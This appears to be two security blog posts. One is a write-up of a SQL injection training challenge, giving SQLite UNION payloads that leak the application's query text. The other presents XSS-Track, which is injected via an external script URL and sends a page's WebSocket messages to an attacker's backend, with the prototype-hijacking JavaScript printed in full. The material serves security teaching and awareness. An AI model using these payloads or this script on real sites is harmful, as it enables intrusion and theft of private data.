How to get SQL query contents from SQL injection flaw

The technique is listed as a contestant in Top 10 Web Hacking Techniques of 2011 poll.

Yesterday, I got some time to interact with another bootcamp challenge by Paweł Goleń - this time it was an advanced search form and one's task was to find any vulnerabilities. What started as a usual SQL injection / XSS discovery turned out to be a pretty interesting example of what is possible with a SQLi flaw. During the session I was able to (in order):

1. find a SQLi flaw in a parameter
2. discover the SQL server/version used
3. get the database schema not using blind sql injection
4. retrieve db contents
5. retrieve important WHERE part of the actual SQL query used by the application
6. reverse engineer all the rules used by app to construct a query

So, from this:

value[] - vulnerable parameter

I was able to get the actual SQL query:

SELECT * FROM table_name WHERE ((param1 = value2) OR (param2 = value2)) ....

used by application and deduct the script logic producing the query:

$allowed_names = array('id','title','timestamp','public');
foreach ($_GET['names'] as $name) {
  if (!in_array($name, $allowed_names)) {
    $name = 'id';
  }
  switch ($name) {
  // ...
  }
}
...

It's a great example of how a single vulnerability was used to gain more and more information, leading to a application logic leakage. All of these tasks did not require any blind sql injection techniques, and no sqlmap-like brute force tools were used. Read on to find out all the details.

Crime scene

This is the form I was attacking:

It's an advanced search form with results being displayed in a table below like this:

Setting up the intercepting proxy (I used OWASP ZAP) will quickly show that these POST parameters are being sent:

action search
name[] id
operator[] =
value[] 1
oper AND
name[] title
operator[] >
value[] 2

What do we know?

So, the actual script uses $name, $operator and $value arrays for every criterium and $oper as an operator joining the criteria.

The SQL query might look like this:

SELECT * FROM table_name WHERE (criterium_1) $oper (criterium_2)

The meat

Skipping all the usual discovery steps, I was able to determine that:

• the value[] parameter was injectable but only when name[] was 'title'
• it was probably translated to title LIKE '%{$value}%'
• though only two are displayed in the form, it is possible to pass additional criteria and they will all be processed
• the app was using sqlite 3

To be able to capture some of the SQL query in the results I needed the SQL engine to treat the part of it as a string. For that I needed string opening & closing injections. So, I had to use three criteria:

• first leaving the string open
• 2nd that would actually get captured in the string
• 3rd to close the string

SELECT * FROM table_name 
 WHERE (title like '${first}') 
 OR (id = 111) 
 OR (title like '${third}')

-- first: '
-- third: '
-- resulting query: (blue is string)
SELECT * FROM table_name 
 WHERE (title like ''') OR (id = 11111) OR (title like ''')

Exploiting this would be possible, because of the escaping scheme used: ' within a string should be doubled (''), so I was able to neutralize the closing string apostrophe by escaping it with my payloads.

Now I'd make an union query with it like this:

-- first: ') UNION SELECT ''
-- third: ,null,null,null -- 
SELECT * FROM table_name WHERE (title like '') UNION SELECT ''') OR (id = 11111) OR (title like ',null,null,null -- ')

So while using special crafted first and third criteria, I could modify second criterium (as long as it didn't contain any strings) and get its query part in results.

Troubles ahead

Worked great - in theory, because the actual query used was like this:

title like '%{$first}%'

With those percents in place I couldn't escape the closing apostrophe, leaving the rest of the query in 'string mode'. But the SQlite engine has a nice feature: it allows you to use quotes (") to enclose strings! Better yet - in quotes you don't have to escape apostrophes (') :-)

Solution

The final solution used:

SELECT * FROM table_name WHERE (title like '%${first}%') OR (id = 111) OR (title like '%${third}%')
-- first: ') UNION SELECT "
-- third: ", null, null, null -- 
SELECT * FROM table_name WHERE (title like '%') UNION SELECT "%') OR (id = 11111) OR (title like '%", null, null, null -- %')

and the resulting row:

<tr><td><a href='javascript:void(%') AND (id = 11111) AND (title LIKE '%);'></a></td><td></td><td></td></tr>

From here it was easy - modify the second criteria and watch the resulting query to deduct app logic. And yes, it did have additional vulnerabilities :)

XSS-Track as a HTML5 WebSockets traffic sniffer

HTML5 WebSockets are really a great feature for current web development. They allow you to set up a bi-directional TCP connection between a browser and a server. Sure, the protocol is being constantly updated, has it's own issues, which will probably mean it won't be ready for Firefox 4. But still, I think it's great way to make the current web applications more responsive.

That being said, developers must know that using WebSockets will always have some security issues. Just to name the few:

• the client can be spoofed (it doesn't have to be the browser)
• ws:// server can't be trusted (MiTM attacks)
• you need to handle the authentication
• the communication over ws:// protocol is plaintext. 

What could get wrong?

There are many possibilities, but for today let's focus on this:

It's important to know that WebSockets (without any additional precautions) is not a channel to send restricted messages through, because e.g. a single XSS flaw on client side could reveal all those private bits to the attacker.

To demonstrate, XSS-Track now supports stealing WebSockets sent and received messages. All you need to do is inject a http://kotowicz.net/xss-track/track.js?websocket=1 script into a vulnerable site and all mesages will be reported to your backend. 

You could also make it http://kotowicz.net/xss-track/track.js?websocket=1&debug=1 so that the messages will be logged to console instead of sent to backend.

Demo

To be able to test WebSockets injection, you need to have WebSockets support :) Use Google Chrome as your WebSockets client and navigate to http://vuln.nodester.com - it's a simple vulnerable chat application using WebSockets with all the instructions. You can also set the server up for yourself.

How was that possible?

No rocket science here, just modifying WebSockets built-in object:

if (captureWebsocket && window.WebSocket) {

  // add logging onmessage listener
  function captureRecv(ws) {
    if (typeof ws.captured == 'undefined') {
      ws.addEventListener('message', function(e) {
        var event = {
            event: 'websocket_recv',
            from: location,
            data: e.data,
            url: e.target.URL
        }
        log(event);
      });
      ws.captured = true;
    }
  }

  // capture sending
  var captureSend = this.contentWindow.WebSocket.prototype.send = function() {
    captureRecv(this); // in case socket contruction was before constructor switching
    var event = {
        event: 'websocket_send',
        from: location,
        data: arguments[0],
        url: this.URL
    };

    log(event);
    return window.WebSocket.prototype.send.apply(this, arguments);
  }

  // capture constructor
  this.contentWindow.WebSocket = function(a,b) {
    var base;
    base = (typeof b !== "undefined") ? new WebSocket(a,b) : new WebSocket(a);
    captureRecv(base);
    base.send = captureSend;
    this.__proto__ = WebSocket.constructor;
    return base;
  }
}

As always, you can see the source code yourself.

Update: I've just found out this technique of manipulating prototype object to change behavior actually got a name of 'Prototype Hijacking' and was used by Stefano di Paola in 2007 to hijack plain old AJAX communication. Of course, Javascript using it's prototypal inheritance needs to have this kind of 'weakness' and I consider this a brilliant feature of the language itself. Javascript FTW!